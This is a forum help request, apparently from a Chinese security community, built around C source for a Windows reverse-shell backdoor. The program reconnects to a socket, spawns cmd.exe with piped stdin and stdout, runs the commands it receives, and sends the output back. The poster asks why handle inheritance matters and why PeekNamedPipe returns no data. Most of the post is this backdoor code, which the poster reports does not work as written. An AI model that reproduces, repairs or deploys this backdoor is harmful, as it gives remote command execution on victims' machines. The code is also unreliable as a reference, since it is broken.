-
-
未解决 [求助] 重定向cmd输入输出 无法从 PeekNamePipe读出数据 10雪币
-
发表于: 2025-4-3 16:20 1202
-
#include <stdio.h> #include <WinSock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #pragma warning(disable:4996) DWORD main() { WORD version = MAKEWORD(2, 2); WSADATA wsadata; if (WSAStartup(version, &wsadata)) { printf("fuil"); return -1; } SOCKET Socket; SOCKADDR_IN info; info.sin_family = AF_INET; info.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); info.sin_port = htons(60000); Socket = socket(AF_INET, SOCK_STREAM, 0); while (WSAConnect(Socket, &info, sizeof(info), 0, 0, 0, 0)) { Sleep(5000); } /*ReadFile*/ SECURITY_ATTRIBUTES Sa; HANDLE hOutWrite = NULL, hOutRead, hInWrite, hInRead; memset(&Sa, 0, sizeof(SECURITY_ATTRIBUTES)); Sa.nLength = sizeof(Sa); Sa.bInheritHandle = TRUE; Sa.lpSecurityDescriptor = 0; //memset(&readSa, 0, sizeof(SECURITY_ATTRIBUTES)); //readSa.nLength = sizeof(readSa); //readSa.bInheritHandle = TRUE; //readSa.lpSecurityDescriptor = 0; if (!CreatePipe(&hOutRead, &hOutWrite, &Sa, 0)) { printf("Out errot 1 %x", GetLastError()); system("pause"); return; } if (!SetHandleInformation(hOutRead, HANDLE_FLAG_INHERIT, 0)) { printf("Out errot 2 %x", GetLastError()); system("pause"); return; } if (!CreatePipe(&hInRead, &hInWrite, &Sa, 0)) { printf("In errot 1 %x", GetLastError()); system("pause"); return; } if (!SetHandleInformation(hInWrite, HANDLE_FLAG_INHERIT, 0)) { printf("In errot 2 %x", GetLastError()); system("pause"); return; } STARTUPINFO si; PROCESS_INFORMATION pi; printf("sizeof(si): %x\n", sizeof(si)); memset(&si, 0, sizeof(STARTUPINFO)); printf("%x\n", si.cb); GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.hStdInput = hInRead; si.hStdOutput = hOutWrite; si.hStdError = hOutWrite; /*si.wShowWindow = SW_HIDE;*/ si.dwFlags |= STARTF_USESTDHANDLES; char cmdPath[255] = { 0 }; GetSystemDirectoryA(cmdPath, 255); strcat(cmdPath, "\\cmd.exe /c"); if (!CreateProcessA(NULL, cmdPath, 0, 0, TRUE, 0, 0, 0, &si, &pi)) { printf("Create fuil %x\n", GetLastError()); system("pause"); return; } char cmdLine[255] = { 0 }; char buff[1024 * 5] = { 0 }; DWORD readByte = 0, writeByte = 0, totalByte = 0; DWORD ExitCode; int flag = 0; while (GetExitCodeProcess(pi.hProcess, &ExitCode)) { //if (!flag) { // printf("hInWrite %x\n", GetLastError()); // system("pause"); //} recv(Socket, cmdLine, sizeof(cmdLine), 0); strcat(cmdLine, "\r\n"); flag = WriteFile(hInWrite, cmdLine, strlen(cmdLine), &writeByte, 0); if (!writeByte) { printf("hInWrite %x\n", GetLastError()); system("pause"); } /* CloseHandle(hOutWrite);*/ PeekNamedPipe(hOutRead, buff, sizeof(buff), &readByte, &totalByte, 0); printf("%d \n", totalByte); if (!readByte) { printf("pre houtRead %x\n", GetLastError()); continue; } flag = ReadFile(hOutRead, buff, sizeof(buff), &readByte, 0); if (!flag) { printf("hOutRead %x\n", GetLastError()); system("pause"); } send(Socket, buff, strlen(buff), 0); memset(cmdLine, 0, sizeof(cmdLine)); memset(buff, 0, sizeof(buff)); readByte = 0; writeByte = 0; } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
首先 我想先问一下继承句柄有什么用 以为我发现创建cmd子进程如果不让他继承句柄的话 cmd无法将结果返回给我们
其次 就是 我通过socket将本机的命令发送到后门程序 recv可以正常接收 WriteFile也能正常写入但是 无法从readFile读出 (readFile会阻塞)我用PeekNamePipe预查看 发现readByte返回0 也就是说没有正确返回命令结果 希望各位大佬赐教
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
赞赏
雪币:
留言: